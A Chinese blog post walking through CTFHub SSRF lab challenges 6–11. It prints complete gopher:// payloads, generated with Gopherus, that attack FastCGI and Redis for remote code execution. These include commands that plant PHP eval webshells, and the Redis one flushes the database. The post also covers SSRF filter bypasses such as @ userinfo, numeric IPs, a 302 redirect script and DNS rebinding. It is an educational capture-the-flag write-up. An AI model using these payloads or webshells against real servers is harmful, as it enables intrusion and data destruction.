SSRF详解 基于CTFHub(下篇)

      本文将针对SSRF(服务端请求伪造)进行简要的讲解。通过CTFHub上的例题,让读者了解SSRF的基本原理、利用方式、绕过方式等。CTFHub的地址为:

目录

第六题 FastCGI协议

方法一 远程代码执行RCE

方法二 上传webshell+蚁剑连接

第七题 Redis协议

第八题 URL Bypass

第九题 数字IP Bypass

第十题 302跳转 Bypass

第十一题 DNS重绑定Bypass

结语 


有关前五题的内容详见上一篇博客:

https://blog.csdn.net/Bossfrank/article/details/130431117

第六题 FastCGI协议

这个题目的考察点是SSRF通过gopher协议对FastCGI进行攻击 。有关什么是FastCGI详见以下这篇博客,我就不做解释了。简单的讲,FastCGI协议是服务器中间件和某个语言后端(PHP)进行数据交换的协议。

(46条消息) Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_php fcgiclient_mysteryflower的博客-CSDN博客

方法一 远程代码执行RCE

本文要利用一个脚本gopherus.py,这个脚本可以对SSRF漏洞进行利用,可以直接生成 payload造成远程代码执行RCE或getShell,下载地址见mirrors / tarunkant / Gopherus · GitCode

在对应目录下运行gopherus.py ,输入

python2 gopherus.py –exploit fastcgi

 然后输入index.php目录,运行一下ls

 运行结果为:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后对这个生成的payload再进行二次编码,代码如下: 

import urllib.parse

payload = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
tmp = urllib.parse.quote(payload)
print(tmp)

输出结果为:

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

把这个结果放到url里面,果然看到了目录里面有index.php

用相同的方法读取根目录(不要问我怎么知道flag在根目录里,问就是直觉!),这次RCE的指令为ls /

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
ls /

 gopherus脚本运行的结果为

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后再进行二次url编码,结果为:

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

放到url里面,成功发现了根目录的结构,同时看到了个flag_52cc1357979c158b0cb02c8ff00b83b1。应该就是我们想要的flag

 于是我们下一步就是要cat /flag_52cc1357979c158b0cb02c8ff00b83b1

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
cat /flag_52cc1357979c158b0cb02c8ff00b83b1

 然后再编码一下,代码都一样:

import urllib.parse

payload =\
"gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH94%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5E%04%00%3C%3Fphp%20system%28%27cat%20/flag_52cc1357979c158b0cb02c8ff00b83b1%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
tmp = urllib.parse.quote(payload)
print(tmp)

二次url编码结果为:

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/flag_52cc1357979c158b0cb02c8ff00b83b1%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

放到url里面,成功搞到了flag为ctfhub{3c246ea1822682d68cd03c2d},如下图:

方法二 上传webshell+蚁剑连接

方法一虽然也能拿到flag,但是非常繁琐,每远程代码执行RCE一条命令,都要运行gopherus脚本=》二次url编码=》将payload放入GET请求,而且如果不知道flag的真实位置,不知道要执行多少条指令才能找到。于是我们就想到,干脆上传个webshell,然后用蚁剑连接,直接拿下这台服务器,就方便找flag了。同样也是利用gopherus脚本上传webshell:

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
echo "<?php eval(\$_POST[123]);?>" >1.php

其中上传webshell的语句为,名称为1.php

echo "<?php eval(\$_POST[123]);?>" >1.php

gopherus脚本的输出为:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B123%5D%29%3B%3F%3E%22%20%3E1.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后同样的方法,二次编码url,结果为:

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH93%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255D%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522%253C%253Fphp%2520eval%2528%255C%2524_POST%255B123%255D%2529%253B%253F%253E%2522%2520%253E1.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

把编码后的结果放进url里面,应该就成功上传名为1.php的webshell了,然后用蚁剑连接一下,如下图:

连接成功了!目录列表都搞到了,我们翻找翻找,发现flag藏在根目录下:

 查看根目录下的flag即可:

第七题 Redis协议

这个题思路和上个题基本一致,只不过攻击的目标改为了Redis,思路也是上传个webshell然后蚁剑连一下,在目录中找flag。

Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标

本题依然可以使用gopherus实施攻击,命令为:

python2 gopherus.py –exploit redis
PHPShell

<?php eval($_POST["aaa"])?>

 gopherus脚本的运行结果为

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22aaa%22%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

同上题,也是要url再编码一次(代码都一样)

import urllib.parse

payload =\
"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22aaa%22%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
tmp = urllib.parse.quote(payload)
print(tmp)

运行结果为:

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522aaa%2522%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

然后把他添加到url中,等待良久,显示504网关超时了,如下图:

 不过应该不影响webshell的上传,我们试着用蚁剑链接一下,位置就是/shell.php

  继续翻找,发现根目录下有个flag

打开即可。flag为ctfhub{f904cae1a1778830f6980455} 

第八题 URL Bypass

从本题目开始,将介绍SSRF漏洞利用时的各种绕过方法。

这个题目说请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧,然后打开链接,如下:

 我们先试试用http能不能访问127.0.0.1/flag.php,结果如下,和第一个页面一样。

 他说url必须以http://notfound.ctfhub.com开头,本题核心就是url中要有http://notfound.ctfhub.com,且要访问的地址是127.0.0.1/flag.php。

行,那我们就用http://[email protected]/flag.php ,这里的@是主域名解析,即@符号后面直接跟域名,@符号前面的内容会被视为用户名,相当于以http://notfound.ctfhub.com的用户名访问127.0.0.1/flag.php,至于用户名是啥不重要,关键是@后面的才是解析的地址!

 这样就绕过成功了。

第九题 数字IP Bypass

 

用url=file:///var/www/html/index.php查看源代码,提示127、172、@、.啥的符号都被ban了 我们试一下直接访问的效果url=http://127.0.0.1/flag.php,果然是这个效果:

那就想办法绕过吧。可以用各种进制绕过

 IP地址是可以用不同进制表示的,这里给出一个网站,用于将ip地址与各种进制做转换。IP地址进制转换 (520101.com)

 比如十进制2130706433,或者十六进制0x7F000001,有多种方法都可以绕过

 或者用其他指向127.0.0.1的地址都行,比如localhost、http://0/

第十题 302跳转 Bypass

 用file查看源代码,这源代码和上一题大差不差。

 用上一题的方法试试,非常不幸,直接就绕过得到flag了,用进制绕过也行)。

可是这个题说是要用302跳转,那应该还是要用其他思路

一种是在公网上部署一个302重定向的php,然后访问这个公网的ip,就会重定向到127.0.0.1

待部署的302.php如下:

<?php
    header("HTTP/1.1 302 found"); 
    header("Location:http://127.0.0.1/flag.php");
    exit();
?>

比方说把302.php部署在111.111.111.222的vps上,那么我们只要让url=111.111.111.222/302.php即可。由于我没有公网的vps,所以就没用这种方法,而本地服务器部署是不行的,因为本题把192也给过滤了。

下一个思路则是利用短链接跳转,比如如下的网站,利用这个网站生成一个短链接(有时效限制,读者不能直接copy我的,要自己生成):

网之映短网址-短链接生成_防拦截_自定义跳转方式_自定义域名_数据统计_API接口_强大的营销工具 (52dwz.cn)

结果为http://da4.cc/TFmj7 ,那么访问这个短链接就相当于访问127.0.0.1/flag.php,把这个短链接写到url中,果然成功了! 

 两种思路的都是利用一个网页作为中转,再次重定向到127.0.0.1/flag.php,同时这个中转的网站url可以绕过服务端的过滤。

第十一题 DNS重绑定Bypass

用file查看源代码index.php和flag.php

 感觉和上题大差不差,但是如果用localhost访问,会提示只能从127.0.0.1访问

 再试试进制转换能不能绕过,发现16进制可以

 但是十进制好像不太行了:

不过看这个题目的题干,解题思路应该是用DNS重绑定,我们在此做一个详解。

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass过滤。掉

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击,利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:

1、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

2、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

3、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址

4、由于已经绕过验证,所以服务器端返回访问内网资源的结果

用下面这个网站可以进行DNS重绑定

brbndr.us dns rebinding service (cmpxchg8b.com)

绑定的两个ip中保证有一个是127.0.0.1即可,我这里和192.168.0.1绑定了,结果为

7f000001.c0a80001.rbndr.us

因此我们的url=7f000001.c0a80001.rbndr.us/flag.php ,注意这个域名相当于绑定了两个ip地址(同一时刻只对应一个),由于无法确定进行dns校验时的ip是否为127.0.0.1,可能一次请求不成功,多刷新几次即可。

如图所示,成功搞到了flag!

结语 

这一篇博客详细讲解了CTFHub关于SSRF漏洞的第6-11题,介绍了gopherus脚本对于存在SSRF漏洞的服务器的攻击方式,包括两个中间件FastCGI和Redis,还介绍了几种绕过过滤的方法,如下:

  1. @符号绕过
  2. 十进制/十六进制绕过
  3. 指向127.0.0.1地址绕过,如localhost、http://0/等
  4. 302重定向绕过(在VPS上搭建重定向的302.php指向flag、短地址绕过)
  5. DNS重绑定绕过 

 后续的博客,我将从SSRF的原理、出现场景、漏洞利用方法、绕过方式、防御方法等多个角度对SSRF等Web漏洞进行总结,还望读者多多支持!

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/130432593